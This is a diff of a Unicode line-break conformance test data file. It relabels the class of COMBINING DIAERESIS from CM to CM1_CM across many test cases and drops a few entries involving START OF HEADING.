-× 0009 × 0308 ÷ 00A7 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0009 × 0308 ÷ 00A7 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0009 ÷ 50005 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0009 × 0020 ÷ 50005 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0009 × 0308 ÷ 50005 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0009 × 0308 ÷ 50005 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0009 ÷ 0E01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0009 × 0020 ÷ 0E01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0009 × 0308 ÷ 0E01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0009 × 0308 ÷ 0E01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0009 × 3041 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0009 × 0020 ÷ 3041 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0009 × 0308 × 3041 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0009 × 0308 × 3041 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 00B4 × 0023 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] NUMBER SIGN (AL) ÷ [0.3]
× 00B4 × 0020 ÷ 0023 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 00B4 × 0308 × 0023 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] NUMBER SIGN (AL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 00B4 × 0308 × 0023 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] NUMBER SIGN (AL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 00B4 × 2014 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] EM DASH (B2) ÷ [0.3]
× 00B4 × 0020 ÷ 2014 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 00B4 × 0308 × 2014 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] EM DASH (B2) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 00B4 × 0308 × 2014 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] EM DASH (B2) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 00B4 × 0009 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 00B4 × 0020 ÷ 0009 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 00B4 × 0308 × 0009 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 00B4 × 0308 × 0009 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 00B4 × 00B4 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] ACUTE ACCENT (BB) ÷ [0.3]
× 00B4 × 0020 ÷ 00B4 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 00B4 × 0308 × 00B4 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] ACUTE ACCENT (BB) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 00B4 × 0308 × 00B4 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] ACUTE ACCENT (BB) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 00B4 × 000B ÷ # × [0.3] ACUTE ACCENT (BB) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 00B4 × 0020 × 000B ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 00B4 × 0308 × 000B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 000B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 00B4 × 0308 × 000B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 000B ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 00B4 ÷ FFFC ÷ # × [0.3] ACUTE ACCENT (BB) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 00B4 × 0020 ÷ FFFC ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 00B4 × 0308 ÷ FFFC ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 00B4 × 0308 ÷ FFFC ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 00B4 × 007D ÷ # × [0.3] ACUTE ACCENT (BB) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 00B4 × 0020 × 007D ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 00B4 × 0308 × 007D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 007D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 00B4 × 0308 × 007D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 007D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 00B4 × 0029 ÷ # × [0.3] ACUTE ACCENT (BB) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 00B4 × 0020 × 0029 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00B4 × 0308 × 0029 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 0029 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00B4 × 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00B4 × 0020 ÷ 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00B4 × 0308 × 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 00B4 × 0308 × 0029 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 0029 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 00B4 × 000D ÷ # × [0.3] ACUTE ACCENT (BB) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 00B4 × 0020 × 000D ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 00B4 × 0308 × 000D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 000D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 00B4 × 0308 × 000D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 000D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 00B4 × 0021 ÷ # × [0.3] ACUTE ACCENT (BB) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 00B4 × 0020 × 0021 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 00B4 × 0308 × 0021 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 0021 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 00B4 × 0308 × 0021 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 0021 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 00B4 × 00A0 ÷ # × [0.3] ACUTE ACCENT (BB) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 00B4 × 0020 ÷ 00A0 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 00B4 × 0308 × 00A0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 00B4 × 0308 × 00A0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 00B4 × AC00 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 00B4 × 0020 ÷ AC00 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 00B4 × 0308 × AC00 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 00B4 × 0308 × AC00 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 00B4 × AC01 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 00B4 × 0020 ÷ AC01 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 00B4 × 0308 × AC01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 00B4 × 0308 × AC01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 00B4 × 05D0 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 00B4 × 0020 ÷ 05D0 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 00B4 × 0308 × 05D0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 00B4 × 0308 × 05D0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 00B4 × 002D ÷ # × [0.3] ACUTE ACCENT (BB) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 00B4 × 0020 ÷ 002D ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 00B4 × 0308 × 002D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 002D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 00B4 × 0308 × 002D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 002D ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 00B4 × 231A ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] WATCH (ID) ÷ [0.3]
× 00B4 × 0020 ÷ 231A ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 00B4 × 0308 × 231A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] WATCH (ID) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 231A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 00B4 × 0308 × 231A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] WATCH (ID) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 231A ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 00B4 × 2024 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] ONE DOT LEADER (IN) ÷ [0.3]
× 00B4 × 0020 ÷ 2024 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 00B4 × 0308 × 2024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] ONE DOT LEADER (IN) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 00B4 × 0308 × 2024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] ONE DOT LEADER (IN) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 00B4 × 002C ÷ # × [0.3] ACUTE ACCENT (BB) × [13.02] COMMA (IS) ÷ [0.3]
× 00B4 × 0020 × 002C ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 00B4 × 0308 × 002C ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 00B4 × 0308 × 0020 × 002C ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 00B4 × 0308 × 002C ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 00B4 × 0308 × 0020 × 002C ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 00B4 × 1100 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 00B4 × 0020 ÷ 1100 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 00B4 × 0308 × 1100 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 00B4 × 0308 × 1100 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 00B4 × 11A8 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 00B4 × 0020 ÷ 11A8 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 00B4 × 0308 × 11A8 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [21.04] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 00B4 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 00B4 × 0308 × 11A8 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.04] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 00B4 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ACUTE ACCENT (BB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 00B4 × 1160 ÷ # × [0.3] ACUTE ACCENT (BB) × [21.04] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 00B4 × 0020 ÷ 1160 ÷ # × [0.3] ACUTE ACCENT (BB) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
